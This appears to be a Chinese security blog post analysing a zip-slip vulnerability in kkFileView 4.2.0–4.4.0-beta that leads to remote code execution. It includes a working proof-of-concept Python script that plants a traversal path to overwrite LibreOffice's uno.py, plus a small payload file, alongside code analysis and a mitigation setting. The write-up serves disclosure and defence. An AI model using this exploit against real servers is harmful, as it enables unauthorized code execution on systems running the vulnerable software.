前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >kkFileView文件上传导致远程代码执行漏洞

kkFileView文件上传导致远程代码执行漏洞

作者头像
Timeline Sec
发布2024-04-30 17:17:16
7690
发布2024-04-30 17:17:16
举报
文章被收录于专栏:Timeline SecTimeline Sec

关注我们??,添加星标?,一起学安全! 作者:niko@Timeline Sec 本文字数:1774 阅读时长:2~3min 声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

Keking kkFileView是中国凯京科技(Keking)公司的一个 Spring-Boot 打造文件文档在线预览项目。kkFileViewv4.2.0至v4.4.0-beta版本之间存在安全漏洞,该漏洞源于组件CompressFilePreviewImpl#filePreviewHandle存在zipslip漏洞,允许攻击者通过将精心制作的zip压缩包来覆盖任意文件,进而造成RCE危害。

0x02 漏洞概述

kkFileViewv4.2.0至v4.4.0-beta版本之间存在安全漏洞,该漏洞源于组件CompressFilePreviewImpl#filePreviewHandle存在zipslip漏洞,允许攻击者通过将精心制作的zip压缩包来覆盖任意文件,进而造成RCE危害。

0x03 影响版本

v4.2.0<= kkFileView <= v4.4.0-beta

0x04 环境搭建

linux压缩包地址如下:

代码语言:javascript
复制
https://resource.kkview.cn/kkFileView-4.3.0.tar.gz

0x05 漏洞利用

三个文件:zip.py exp.txt sec.txt

同目录保存文件如下,其中sec.txt为任意内容即可:

zip.py

代码语言:javascript
复制
import zipfile

zipName = r"exp.zip"
fileName = r"sec.txt"
fileName2 = r"exp.txt"
zf = zipfile.ZipFile(zipName, 'w')
zf.write(fileName,'sec.txt') #fileName 文件名,sec.txt 压缩路径名称
zf.write(fileName2,'../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py') 
zf.close()

exp.txt:rce命令内容为创建/tmp/rce文件夹

代码语言:javascript
复制
import os
os.makedirs("/tmp/rce", exist_ok=True)

此时/tmp文件夹中无内容

python3 zip.py生成exp.zip,上传zip压缩包后,点击预览

创建一个odt后缀文件,内容随意。上传后点击预览

成功执行命令

0x06 漏洞分析

zipslip分析

因为在线文件预览无法在线预览其他url的zip文件,所以漏洞率先定位到文件上传处 文件上传接口cn.keking.web.controller.FileController#fileUpload在58行会调用fileUploadCheck函数对文件类型、文件名及是否为同名文件做安全检查,这里我们上传文件为zip能正常通过,因此不继续跟进 68-70行实现文件上传,此时文件被上传至fileDir+demoPath路径下

分析在线预览接口cn.keking.web.controller.OnlinePreviewController#onlinePreview函数,步入62行

入参url通过WebUtils.decodeUrl\0解密(普通的base64解码)

解码后的fileurl传入至67行

fileHandlerService.getFileAttribute\0函数中,该函数内容为通过url来获取文件各项属性,如文件类型、文件名、缓存信息等,并返回FileAttribute

当预览的是zip压缩包时,FileAttribute.typeCOMPRESS

判断代码如下:

代码语言:javascript
复制
public enum FileType {

    COMPRESS("compressFilePreviewImpl"),
    ...
    // 匹配后缀是否在ARCHIVE_TYPES列表中
    private static final String[] ARCHIVE_TYPES = {"rar", "zip", "jar", "7-zip", "tar", "gzip", "7z"};
    private static final Map<String, FileType> FILE_TYPE_MAPPER = new HashMap<>();
    ...
    static {
        for (String archive : ARCHIVE_TYPES) {
            FILE_TYPE_MAPPER.put(archive, FileType.COMPRESS);
        }
    }
x`

因此在filePreview.filePreviewHandle\0接口会调用CompressFilePreviewImpl#filePreviewHandle实现类

后续定位到cn.keking.service.impl.CompressFilePreviewImpl#filePreviewHandle,先步入45行DownloadUtils#downLoad

当文件为压缩包时,直接返回fileDir + fileName\0给response,不进行文件下载(也就是最开始说的需要先进行文件上传才行)

之后,response会将地址传递至cn.keking.service.CompressFileReader#unRar作为解压路径

当我们传入构造好的zipslip压缩包,会发现unRar函数未对解压路径进行处理,因此可以直接将文件通过路径穿越解压到任意文件夹下

rce浅析

当我们上传odt类型文件并预览时,会调用Libreoffice库中的uno.py文件。该文件默认地址位于:/opt/libreoffice7.5/program/uno.py那么利用方式就是将poc解压到该文件下,即可执行恶意代码(解压后会追加文件内容,不会造成文件覆盖)

坑点:

构造的zipslip压缩包需要包含一个正常文件。在漏洞挖掘时,初次使用的zipslip代码为

代码语言:javascript
复制
import zipfile
# the name of the zip file to generate
zf = zipfile.ZipFile('wrong2.zip', 'w')
# the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'sec.txt'
#destination path of the file
zf.write(fname, '../../../../../../../../../../../../../../../../../tmp/secs.txt')

这时unRar函数会创建如下文件夹,在../作用下,实际创建文件夹为/tmp,并没有创建wrong2.zip_文件夹,因此就导致了FIleNotFoundException

当zip压缩包包含一个正常文件时,会成功创建对应文件夹

0x07修复方式

存量受影响的版本建议开启 file.upload.disable=true 参数,禁用首页的上传文件,关闭演示入口来规避问题,等待新版本修复。

参考链接

https://github.com/luelueking/kkFileView-v4.3.0-RCE-POC?tab=readme-ov-file

本文参与?腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-04-29,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 漏洞概述
  • 0x03 影响版本
  • 0x04 环境搭建
  • 0x05 漏洞利用
  • 0x06 漏洞分析
    • zipslip分析
      • rce浅析
        • 坑点:
        • 0x07修复方式
        • 参考链接
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
        http://www.vxiaotou.com